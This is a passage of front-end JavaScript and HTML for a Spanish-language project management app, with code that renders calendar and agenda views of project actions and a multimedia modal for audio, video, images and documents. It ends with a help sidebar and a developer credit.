accionesDia = acciones.filter(a => a.inicio && a.inicio.startsWith(dateStr)); accionesDia.sort((a, b) => new Date(a.inicio) - new Date(b.inicio)); // Resaltado si es hoy const isToday = dateStr === hoyStr; html += `<div style='background:#222;border-radius:8px;min-height:60px;padding:4px 2px 2px 2px;box-shadow:0 1px 4px rgba(0,0,0,0.04);position:relative;display:flex;flex-direction:column;${isToday ? "border: 2.5px solid #00bfff; box-shadow:0 0 0 3px #00bfff33;" : ''}'>`; html += `<div style='text-align:right;font-size:0.95em;color:#888;font-weight:600;'>${d.getDate()}</div>`; accionesDia.forEach(a => { let color = '#bdbdbd'; if (a.status === 'Pendiente') color = '#dc3545'; else if (a.status === 'En Progreso') color = '#ffc107'; else if (a.status === 'Lograda') color = '#28a745'; // Horas let horaInicio = ''; let horaFin = ''; if (a.inicio) { const fecha = new Date(a.inicio); let h = fecha.getHours(); let m = fecha.getMinutes().toString().padStart(2, '0'); let ampm = h >= 12 ? 'pm' : 'am'; h = h % 12; h = h ? h : 12; horaInicio = `${h}:${m}${ampm}`; } if (a.fin) { const fecha = new Date(a.fin); let h = fecha.getHours(); let m = fecha.getMinutes().toString().padStart(2, '0'); let ampm = h >= 12 ? 'pm' : 'am'; h = h % 12; h = h ? h : 12; horaFin = `${h}:${m}${ampm}`; } let horaLabel = horaInicio; if (horaFin) horaLabel += ` – ${horaFin}`; // Tarjeta compacta, fuente más pequeña, multilinea html += `<div style='background:${color};color:#fff;border-radius:6px;padding:4px 6px 4px 6px;margin:3px 0;white-space:normal;overflow-wrap:break-word;word-break:break-word;max-width:98%;cursor:pointer;min-height:28px;display:flex;flex-direction:column;align-items:flex-start;font-size:0.89em;line-height:1.18;'> <span style='font-weight:600;font-size:0.96em;line-height:1.15;max-width:100%;white-space:normal;overflow-wrap:break-word;'>${a.accion}</span> <span style='font-size:0.85em;color:#f1f1f1;opacity:0.85;margin-top:1px;'>${horaLabel}</span> </div>`; }); html += `</div>`; } html += '</div>'; document.getElementById('calendar-grid').innerHTML = html; } function renderProjectCalendarAgenda(acciones, scrollToToday = false) { // Agrupar acciones por fecha de inicio const accionesOrdenadas = [...acciones].sort((a, b) => new Date(a.inicio) - new Date(b.inicio)); document.getElementById('calendar-month-label').textContent = 'Agenda'; document.getElementById('btn-prev-week').style.display = 'none'; document.getElementById('btn-next-week').style.display = 'none'; document.getElementById('btn-prev-month').style.display = 'none'; document.getElementById('btn-next-month').style.display = 'none'; // Agrupar por fecha (YYYY-MM-DD) const accionesPorDia = {}; accionesOrdenadas.forEach(a => { if (!a.inicio) return; // Obtener la fecha local en formato YYYY-MM-DD usando toLocaleDateString('sv-SE') const fechaObj = new Date(a.inicio); const fecha = fechaObj.toLocaleDateString('sv-SE'); if (!accionesPorDia[fecha]) accionesPorDia[fecha] = []; accionesPorDia[fecha].push(a); }); // Ordenar fechas de domingo a sábado por semana const fechas = Object.keys(accionesPorDia).sort(); // Agrupar fechas por semana (domingo a sábado) let semanas = []; let semanaActual = []; let lastDayOfWeek = null; fechas.forEach(fechaStr => { const fechaObj = new Date(fechaStr); const dayOfWeek = fechaObj.getDay(); // 0=Domingo, 6=Sábado if (semanaActual.length === 0 && dayOfWeek !== 0) { // Si la primera fecha no es domingo, rellena días anteriores for (let i = 0; i < dayOfWeek; i++) semanaActual.push(null); } if (dayOfWeek === 0 && semanaActual.length > 0) { semanas.push(semanaActual); semanaActual = []; } semanaActual.push(fechaStr); lastDayOfWeek = dayOfWeek; if (dayOfWeek === 6) { semanas.push(semanaActual); semanaActual = []; } }); if (semanaActual.length > 0) semanas.push(semanaActual); let html = '<div id="agenda-scroll-container" style="display:flex;flex-direction:column;gap:18px;max-height:350px;overflow-y:auto;">'; semanas.forEach(semana => { semana.forEach(fechaStr => { if (!fechaStr) return; const accionesDia = accionesPorDia[fechaStr]; const fechaLocalObj = new Date(fechaStr + 'T00:00:00'); const dias = ['domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado']; const labelDia = dias[fechaLocalObj.getDay()] + ', ' + fechaLocalObj.toLocaleDateString('es-ES', { year: 'numeric', month: 'long', day: 'numeric' }); // Resaltado si es hoy const hoyStr = new Date().toLocaleDateString('sv-SE'); const isToday = fechaStr === hoyStr; html += `<div id='agenda-dia-${fechaStr}'>`; html += `<div style='font-weight:700;color:${isToday ? '#fff' : '#00bfff'};font-size:1.08em;margin-bottom:6px;${isToday ? 'background:linear-gradient(90deg,#00bfff22 0%,#00bfff11 100%);border-radius:7px;padding:6px 0 6px 10px;' : ''}'>${labelDia.charAt(0).toUpperCase() + labelDia.slice(1)}</div>`; accionesDia.sort((a, b) => new Date(a.inicio) - new Date(b.inicio)); accionesDia.forEach(a => { let color = '#bdbdbd'; if (a.status === 'Pendiente') color = '#dc3545'; else if (a.status === 'En Progreso') color = '#ffc107'; else if (a.status === 'Lograda') color = '#28a745'; // Horas inicio y fin let horaInicio = ''; let horaFin = ''; if (a.inicio) { const fecha = new Date(a.inicio); let h = fecha.getHours(); let m = fecha.getMinutes().toString().padStart(2, '0'); let ampm = h >= 12 ? 'pm' : 'am'; h = h % 12; h = h ? h : 12; horaInicio = `${h}:${m}${ampm}`; } if (a.fin) { const fecha = new Date(a.fin); let h = fecha.getHours(); let m = fecha.getMinutes().toString().padStart(2, '0'); let ampm = h >= 12 ? 'pm' : 'am'; h = h % 12; h = h ? h : 12; horaFin = `${h}:${m}${ampm}`; } let horaLabel = horaInicio; if (horaFin) horaLabel += ` - ${horaFin}`; html += `<div style='background:#23252b;border-radius:8px;padding:10px 14px;display:flex;align-items:center;gap:12px;margin-bottom:4px;'> <span style='background:${color};width:16px;height:16px;border-radius:50%;display:inline-block;'></span> <span style='color:#fff;font-weight:600;'>${a.accion}</span> <span style='color:#bbb;font-size:0.98em;margin-left:auto;'>${horaLabel}</span> </div>`; }); html += `</div>`; }); }); html += '</div>'; document.getElementById('calendar-grid').innerHTML = html; // Scroll automático al día de hoy o más cercano if (scrollToToday) { setTimeout(() => { const hoy = new Date(); const hoyStr = hoy.toLocaleDateString('sv-SE'); let el = document.getElementById('agenda-dia-' + hoyStr); const container = document.getElementById('agenda-scroll-container'); if (!el) { // Buscar el día más cercano posterior, si no existe, el anterior const fechas = Array.from(document.querySelectorAll('[id^="agenda-dia-"]')).map(e => e.id.replace('agenda-dia-', '')); let minDiff = Infinity, minEl = null; fechas.forEach(fstr => { const diff = Math.abs(new Date(fstr + 'T00:00:00') - hoy); if (diff < minDiff) { minDiff = diff; minEl = document.getElementById('agenda-dia-' + fstr); } }); el = minEl; } if (el && container) { container.scrollTop = el.offsetTop - container.offsetTop; } }, 100); } } function openFacturaModal(projectId) { alert('Aquí se mostraría la factura del proyecto ID: ' + projectId); } function openMultimediaModal(projectId) { document.getElementById('multimediaModalBg').style.display = 'flex'; loadProjectContenidosMultimedia(projectId); } function closeMultimediaModal() { document.getElementById('multimediaModalBg').style.display = 'none'; document.getElementById('multimedia-content').innerHTML = ''; document.getElementById('multimedia-playlist').innerHTML = ''; } function loadProjectContenidosMultimedia(projectId) { document.getElementById('multimedia-content').innerHTML = '<div style="color:#bbb;text-align:center;width:100%;">Cargando archivos...</div>'; document.getElementById('multimedia-playlist').innerHTML = ''; fetch(`/cynea/router.php?action=getContenidos&proyecto_id=${projectId}`) .then(r => r.json()) .then(contenidos => { multimediaFiles = contenidos || []; multimediaCurrentType = 'audio'; multimediaCurrentIndex = 0; renderMultimediaContent(); }) .catch(() => { document.getElementById('multimedia-content').innerHTML = '<div style="color:#bbb;">No se pudo cargar el listado de archivos.</div>'; }); } function renderMultimediaContent() { // Filtrar por tipo let files = multimediaFiles.filter(f => { if (multimediaCurrentType === 'audio') { return (f.archivo && ['mp3', 'wav', 'aac', 'ogg'].includes(f.archivo.split('.').pop().toLowerCase())); } if (multimediaCurrentType === 'video') { if (f.archivo && ['mp4', 'webm', 'ogg'].includes(f.archivo.split('.').pop().toLowerCase())) return true; if (f.url && (f.url.includes('youtube.com') || f.url.includes('youtu.be'))) return true; } if (multimediaCurrentType === 'image') return f.archivo && ['jpg', 'jpeg', 'png', 'gif', 'webp', 'bmp'].includes(f.archivo.split('.').pop().toLowerCase()); if (multimediaCurrentType === 'document') return f.archivo && ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx'].includes(f.archivo.split('.').pop().toLowerCase()); return false; }); // Playlist let playlistHtml = ''; files.forEach((c, idx) => { let icon = ''; if (multimediaCurrentType === 'audio') icon = `<i class='fa fa-music'></i>`; else if (multimediaCurrentType === 'video') { if ((c.url && (c.url.includes('youtube.com') || c.url.includes('youtu.be')))) { icon = `<i class='fa-brands fa-youtube'></i>`; } else { icon = `<i class='fa fa-film'></i>`; } } else if (multimediaCurrentType === 'image') icon = `<img src='/cynea/uploads/contenidos/${c.archivo}' alt='img' style='width:28px;height:28px;'>`; else if (multimediaCurrentType === 'document') { icon = `<i class='fa fa-file-alt'></i>`; if (c.archivo && c.archivo.endsWith('.pdf')) icon = `<i class='fa fa-file-pdf'></i>`; } playlistHtml += `<div class='playlist-item${idx===multimediaCurrentIndex?' active':''}' onclick='selectMultimediaItem(${idx})'>${icon}<span class='playlist-title'>${c.contenido || c.archivo}</span></div>`; }); document.getElementById('multimedia-playlist').innerHTML = playlistHtml; // Asegurar índice válido if (!files.length) { document.getElementById('multimedia-content').innerHTML = `<div style='color:#bbb;text-align:center;width:100%;'>No hay archivos de este tipo.</div>`; updateMultimediaTabs(); return; } if (multimediaCurrentIndex >= files.length) multimediaCurrentIndex = 0; if (multimediaCurrentIndex < 0) multimediaCurrentIndex = files.length - 1; const c = files[multimediaCurrentIndex]; let html = ''; if (multimediaCurrentType === 'audio') { // Thumbnail con cover si existe html += `<div class='multimedia-audio-box'> <div class='audio-thumbnail' id='audio-cover-thumb' style='position:relative;overflow:hidden;'><i class='fa fa-music' id='audio-cover-icon' style='font-size:2.8em;color:#00bfff;'></i></div> <div class='audio-title'>${c.contenido || c.archivo}</div> <audio class='audio-player' src='/cynea/uploads/contenidos/${c.archivo}' controls style='width:100%;background:#23252b;border-radius:8px;' autoplay></audio> <div class='multimedia-controls' style='margin-top:10px;'> <button onclick='navigateMultimedia(-1)' title='Anterior'><i class='fa fa-chevron-left'></i></button> <button onclick='navigateMultimedia(1)' title='Siguiente'><i class='fa fa-chevron-right'></i></button> </div> </div>`; setTimeout(() => { if (window.jsmediatags) { window.jsmediatags.read(`/cynea/uploads/contenidos/${c.archivo}`, { onSuccess: function(tag) { if (tag.tags.picture) { let data = tag.tags.picture.data; let format = tag.tags.picture.format; let base64String = ""; for (let i = 0; i < data.length; i++) { base64String += String.fromCharCode(data[i]); } let imageUrl = `data:${format};base64,${window.btoa(base64String)}`; let thumb = document.getElementById('audio-cover-thumb'); let icon = document.getElementById('audio-cover-icon'); if (thumb && icon) { icon.style.display = 'none'; if (!thumb.querySelector('img')) { let img = document.createElement('img'); img.src = imageUrl; img.style.width = '80px'; img.style.height = '80px'; img.style.objectFit = 'cover'; img.style.borderRadius = '12px'; img.alt = 'Cover'; thumb.appendChild(img); } } } }, onError: function(error) { // No cover, no action } }); } }, 100); } else if (multimediaCurrentType === 'video') { if (c.url && (c.url.includes('youtube.com') || c.url.includes('youtu.be'))) { // YouTube embed mejorado con loop y botón de pantalla completa let videoId = ''; let match = c.url.match(/[?&]v=([^&#]+)/); if (match) videoId = match[1]; match = c.url.match(/youtu\.be\/([^?&#]+)/); if (match) videoId = match[1]; match = c.url.match(/youtube\.com\/shorts\/([^?&#]+)/); if (match) videoId = match[1]; html += `<div class='multimedia-video-box'> <iframe class='multimedia-video-preview' id='ytplayer' src='https://www.youtube.com/embed/${videoId}?autoplay=1&rel=0&modestbranding=1&controls=1&showinfo=0&loop=1&playlist=${videoId}' frameborder='0' allowfullscreen allow='autoplay; encrypted-media' style='background:#23252b;'></iframe> <div class='audio-title'>${c.contenido || c.url}</div> <div class='multimedia-controls'> <button onclick='navigateMultimedia(-1)' title='Anterior'><i class='fa fa-chevron-left'></i></button> <button onclick='navigateMultimedia(1)' title='Siguiente'><i class='fa fa-chevron-right'></i></button> <button onclick='fullscreenYouTube()' title='Pantalla completa'><i class='fa fa-expand'></i></button> </div> </div>`; } else { html += `<div class='multimedia-video-box'> <video class='multimedia-video-preview' src='/cynea/uploads/contenidos/${c.archivo}' controls poster='' style='background:#23252b;' autoplay loop></video> <div class='audio-title'>${c.contenido || c.archivo}</div> <div class='multimedia-controls'> <button onclick='navigateMultimedia(-1)' title='Anterior'><i class='fa fa-chevron-left'></i></button> <button onclick='navigateMultimedia(1)' title='Siguiente'><i class='fa fa-chevron-right'></i></button> <button onclick='fullscreenVideo()' title='Pantalla completa'><i class='fa fa-expand'></i></button> </div> </div>`; } } else if (multimediaCurrentType === 'image') { html += `<div class='multimedia-image-box' onclick='enlargeMultimediaImage("/cynea/uploads/contenidos/${c.archivo}")'> <img class='multimedia-image-preview' src='/cynea/uploads/contenidos/${c.archivo}' alt='Imagen'> <div class='audio-title'>${c.contenido || c.archivo}</div> <div class='multimedia-controls' style='margin-top:10px;'> <button onclick='navigateMultimedia(-1);event.stopPropagation();' title='Anterior'><i class='fa fa-chevron-left'></i></button> <button onclick='navigateMultimedia(1);event.stopPropagation();' title='Siguiente'><i class='fa fa-chevron-right'></i></button> </div> </div>`; } else if (multimediaCurrentType === 'document') { let icon = 'fa-file-alt'; if (c.archivo.endsWith('.pdf')) icon = 'fa-file-pdf'; html += `<div class='multimedia-document-box' onclick='enlargeMultimediaDocument("/cynea/uploads/contenidos/${c.archivo}", "${c.archivo}")'> <span class='multimedia-document-icon'><i class='fa ${icon}'></i></span> <div class='audio-title'>${c.contenido || c.archivo}</div> <div class='multimedia-controls' style='margin-top:10px;'> <button onclick='navigateMultimedia(-1);event.stopPropagation();' title='Anterior'><i class='fa fa-chevron-left'></i></button> <button onclick='navigateMultimedia(1);event.stopPropagation();' title='Siguiente'><i class='fa fa-chevron-right'></i></button> </div> </div>`; } document.getElementById('multimedia-content').innerHTML = html; updateMultimediaTabs(); } function updateMultimediaTabs() { document.querySelectorAll('.multimedia-tab').forEach(tab => { tab.classList.toggle('active', tab.getAttribute('data-type') === multimediaCurrentType); tab.onclick = function() { multimediaCurrentType = tab.getAttribute('data-type'); multimediaCurrentIndex = 0; renderMultimediaContent(); }; }); } function selectMultimediaItem(idx) { multimediaCurrentIndex = idx; renderMultimediaContent(); // Reproducir automáticamente si es audio o video setTimeout(() => { if (multimediaCurrentType === 'audio') { const audio = document.querySelector('.audio-player'); if (audio) { audio.play(); } } else if (multimediaCurrentType === 'video') { const video = document.querySelector('.multimedia-video-preview'); if (video && video.tagName === 'VIDEO') { video.play(); } } }, 100); } function navigateMultimedia(dir) { let files = multimediaFiles.filter(f => { if (multimediaCurrentType === 'audio') return f.archivo && ['mp3', 'wav', 'aac', 'ogg'].includes(f.archivo.split('.').pop().toLowerCase()); if (multimediaCurrentType === 'video') return f.archivo && ['mp4', 'webm', 'ogg'].includes(f.archivo.split('.').pop().toLowerCase()); if (multimediaCurrentType === 'image') return f.archivo && ['jpg', 'jpeg', 'png', 'gif', 'webp', 'bmp'].includes(f.archivo.split('.').pop().toLowerCase()); if (multimediaCurrentType === 'document') return f.archivo && ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx'].includes(f.archivo.split('.').pop().toLowerCase()); return false; }); multimediaCurrentIndex += dir; if (multimediaCurrentIndex < 0) multimediaCurrentIndex = files.length - 1; if (multimediaCurrentIndex >= files.length) multimediaCurrentIndex = 0; renderMultimediaContent(); } function fullscreenVideo() { const video = document.querySelector('.multimedia-video-preview'); if (video && video.requestFullscreen) video.requestFullscreen(); } function fullscreenYouTube() { const iframe = document.querySelector('.multimedia-video-preview'); if (iframe && iframe.requestFullscreen) iframe.requestFullscreen(); else if (iframe && iframe.webkitRequestFullscreen) iframe.webkitRequestFullscreen(); else if (iframe && iframe.mozRequestFullScreen) iframe.mozRequestFullScreen(); else if (iframe && iframe.msRequestFullscreen) iframe.msRequestFullscreen(); } function enlargeMultimediaImage(src) { multimediaEnlarged = true; const overlay = document.createElement('div'); overlay.className = 'multimedia-enlarged'; overlay.innerHTML = `<button class='close-btn' onclick='closeEnlargedMultimedia()'>×</button><img src='${src}' alt='Imagen ampliada'>`; document.body.appendChild(overlay); } function enlargeMultimediaDocument(src, archivo) { multimediaEnlarged = true; const overlay = document.createElement('div'); overlay.className = 'multimedia-enlarged'; let embed = ''; if (archivo.endsWith('.pdf')) { embed = `<div style="display:flex;align-items:center;justify-content:center;width:98vw;height:96vh;max-width:1200px;max-height:96vh;"> <embed src='${src}' type='application/pdf' style='width:100%;height:100%;border-radius:16px;background:#23252b;max-width:100%;max-height:100%;' /> </div>`; } else { embed = `<div style="display:flex;align-items:center;justify-content:center;width:98vw;height:96vh;max-width:1200px;max-height:96vh;"> <iframe src='https://docs.google.com/gview?url=${window.location.origin+src}&embedded=true' style='width:100%;height:100%;border-radius:16px;border:none;background:#23252b;max-width:100%;max-height:100%;'></iframe> </div>`; } overlay.innerHTML = `<button class='close-btn' onclick='closeEnlargedMultimedia()'>×</button>${embed}`; document.body.appendChild(overlay); } function closeEnlargedMultimedia() { multimediaEnlarged = false; const overlay = document.querySelector('.multimedia-enlarged'); if (overlay) overlay.remove(); } // Accesibilidad: cerrar modal con ESC document.addEventListener('keydown', function(e) { if (e.key === 'Escape') { if (multimediaEnlarged) closeEnlargedMultimedia(); else closeMultimediaModal(); } }); </script> </body> </html> <div class="sidebar-derecha-cyne"> <h2>CyNe Ayuda</h2> <div class="cyne-block"> <strong>¿Necesitas ayuda?</strong><br> Aquí podrás encontrar soporte, novedades y recursos útiles para tus proyectos.<br> <span style="color:#bdbdbd;font-size:0.98em;">Próximamente más funciones aquí.</span> </div> <div class="cyne-block"> <strong>Contacto:</strong><br> <i class="fa fa-envelope"></i> soporte@cyne.com<br> <i class="fa fa-whatsapp"></i> +57 300 000 0000 </div> </div>
Coded With 💗 by
0x6ick